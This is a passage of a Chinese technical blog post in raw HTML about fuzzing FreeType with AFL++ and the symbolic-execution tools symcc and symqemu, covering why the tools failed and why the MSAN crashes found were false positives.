BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">笔者在按照官方的文档进行编译后，使用了qsym后端，原因是该后端引擎会更迅速地进行约束求解，能够和afl++工具进行更好地适配。利用官方提供的测试程序进行分析，一切都运转正常。接下来需要将利用编译好的symcc编译器对我们需要Fuzzing的目标程序进行编译，此时只需要修改编译时的CC标志即可。对freetype以及修改后的ftbench程序均使用symcc编译器编译，成功生成最终目标文件。但是在利用该目标文件做测试时出现了问题。</span></p><p cid="n102" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">symcc使用</span><span style="outline: 0px;text-indent: 0em;visibility: visible;font-size: 15px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">SYMCC_INPUT_FILE</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">环境变量对输入文件进行符号化，在测试时需要手动设置环境变量，将其设置为ftbench的输入文件路径，还需要设置</span><span style="outline: 0px;text-indent: 0em;visibility: visible;font-size: 15px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">SYMCC_OUTPUT_DIR</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">环境变量，用来保存新生成的测试样本，这里设置为/tmp/output。接着运行ftbench程序，此时屏幕应该输出约束求解信息并且会在/tmp/output目录生成新的测试用例，而实际测试结果是ftbench输出了对应的字体信息，似乎符号执行过程没有生效。</span></p><p cid="n103" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">查看官方的声明发现如下：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2657407407407407" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=54290ecd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRMwjviatJrb4qwOytnO0ZSOzv3icOpNdYbft2ibEAW7iaOUrib5SyPduUwicaUcyFDxZWicYgn2R9AUERJg%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n105" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">原因是没有对libc中的函数做符号插桩，这样在执行特定libc函数时就没办法对输入数据进行符号化，因此就不会有符号执行过程，也就不会产生新的测试用例。</span></p><p cid="n106" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">因此，如果要使symcc对真实目标程序生效，那么可能需要将所有包含libc的代码都采用symcc编译器进行编译，当程序所需的第三方库或其它依赖库较多时，工作量会非常大，这里暂且不做进一步探索。</span></p><p cid="n107" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">笔者还尝试了symcc的兄弟工具<span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;background-color: rgb(255, 255, 255);">symqemu</span>。开发者在symcc的基础上利用qemu来对目标程序运行符号执行过程，这样可以省略编译源码的步骤，对闭源程序做符号执行分析，但在使用过程中还是遇到了问题，运行流程如下：</span></p><p cid="n108" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">首先，我们对symqemu进行编译。编译时需要提供编译好的symcc的程序路径。成功后使用symqemu对/bin/cat程序进行测试，发现对未被插桩的/bin/cat应用能够正确执行符号化过程并输出新的测试用例；接着利用symqemu对前面编译好的ftbench进行测试，发现程序卡住，并且一段时间后oom导致应用崩溃。这里笔者猜测是由于程序添加了ASAN相关检测代码，导致symqemu运行时申请了大量内存导致崩溃。重新编译一个纯净版的ftbench程序，再次使用symqemu运行，发现这次程序能够正常运行并输出字体信息，但是没有生成新的测试样例。</span></p><p cid="n109" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">经过详细分析发现，symqemu会在</span><span style="outline: 0px;text-indent: 0em;visibility: visible;font-size: 15px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">do_syscall1</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">函数中，对由环境变量</span><span style="outline: 0px;text-indent: 0em;visibility: visible;font-size: 15px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">SYMCC_INPUT_FILE</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">指定的输入文件进行符号化，但是目前仅支持通过read系统调用读取的文件进行符号化，如下图所示：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.36556603773584906" data-s="300,640" style="" data-type="png" data-w="848" src="https://wechat2rss.xlab.app/img-proxy/?k=826a180a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRMwjviatJrb4qwOytnO0ZSOyuXt4ibXvGbtxR2ssQFHPRPms4QrlPeIlUDo2G7ibO5pytof8rEpzf7A%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">查看支持的符号化函数如下：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.19143576826196473" data-s="300,640" style="" data-type="png" data-w="794" src="https://wechat2rss.xlab.app/img-proxy/?k=77ea0b63&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRMwjviatJrb4qwOytnO0ZSO0owkNwM9oCtjmd14cPjxoNDntQaXgcRP11j3FlwQkTff5zCyUogRkg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">接着笔者查看了freetype2中函数FT_Open_Face函数是如何读取输入文件的，经过一番跟踪，最终发现通过</span><span style="outline: 0px;text-indent: 0em;visibility: visible;font-size: 15px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">mmap</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">函数来读取输入文件：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2619047619047619" data-s="300,640" style="" data-type="png" data-w="756" src="https://wechat2rss.xlab.app/img-proxy/?k=860eef3c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRMwjviatJrb4qwOytnO0ZSOhqRnicS776LpF4picyokxxjK3t4SGjiczja49cwYl8vjWhfegxbicrMT6w%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n115" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">那么symqemu并没有对mmap函数的调用进行符号化处理，也就无法正常运行符号执行过程，也就无法生成新的测试用例。目前就该问题已经向官方提出issue，希望官方能早日解决。</span></p><p cid="n116" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">我们目前仅测试了这两款符号执行工具，但是效果都不理想，后续还会对其它类似工具做尝试，希望最终能找到一款在真实环境下也能运行良好并能辅助Fuzzing的符号执行工具。</span></p><h4 cid="n117" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;letter-spacing: 0.544px;white-space: pre-wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;"><span style="outline: 0px;font-size: 17px;visibility: visible;">结果分析</span></h4><p cid="n118" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">在经过一段时间的Fuzzing后，笔者利用MSAN编译的程序找到了一些crash，但经过仔细分析后发现这些crash都为误报，MSAN输出如下：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.18703703703703703" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b2ba6b8e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRMwjviatJrb4qwOytnO0ZSONgMVboib4pwkV9ibLQTwvdibHaMh1zqCtqUaibtbic499PQNJWpKYrCDllQ%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n81" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">查看</span><span style="outline: 0px;text-indent: 0em;visibility: visible;font-size: 15px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">af_shaper_get_elem</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">函数，内容如下：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6981519507186859" data-s="300,640" style="" data-type="png" data-w="974" src="https://wechat2rss.xlab.app/img-proxy/?k=f86d5141&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRMwjviatJrb4qwOytnO0ZSOibthlpNfHYVcGzmM3icwFDIGR22ic12gS6NQT1eQFWwp4xiaTY1ibuzEjSw%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n122" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">MSAN将</span><span style="outline: 0px;text-indent: 0em;visibility: visible;font-size: 15px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">gcount</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">视作一个未初始化的变量，但实际在第三</span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">方库函数</span><span style="outline: 0px;text-indent: 0em;visibility: visible;font-size: 15px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">hb_buffer_get_glyph_infos</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">中</span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">，该变量已经初始化。由于并未对第三方库<span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;background-color: rgb(255, 255, 255);">harfbuzz</span>进行源码插桩，MSAN可能无法检测出</span><span style="outline: 0px;text-indent: 0em;visibility: visible;font-size: 15px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">gcount</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">参数已被赋值，所以在561行对</span><span style="outline: 0px;text-indent: 0em;visibility: visible;font-size: 15px;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;letter-spacing: normal;orphans: 4;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);"><code style="font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">gcount</code></span><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">的访问就会触发一个crash。</span></p><p cid="n123" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;orphans: 4;visibility: visible;">对于这种情况，笔者建议尽可能将所有使用的第三方库通过静态链接的方式打包到目标应用程序中，而不是通过调用动态库的方式去执行函数，否则由MSAN产生的crash可能大部分都是误报。</span></p><h3 cid="n124" mdtype="heading" style="margin-top: 24px;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;letter-spacing: 0.544px;white-space: pre-wrap;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;"><span style="outline: 0px;font-size: 17px;visibility: visible;">总结</span></h3><p cid="n125" mdtype="paragraph" style="margin-bottom: 16px;outline: 0px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;color: rgb(34, 34, 34);background-color: rgb(255, 255, 255);line-height: 25.5px;visibility: visible;"><span style="outline: 0px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open 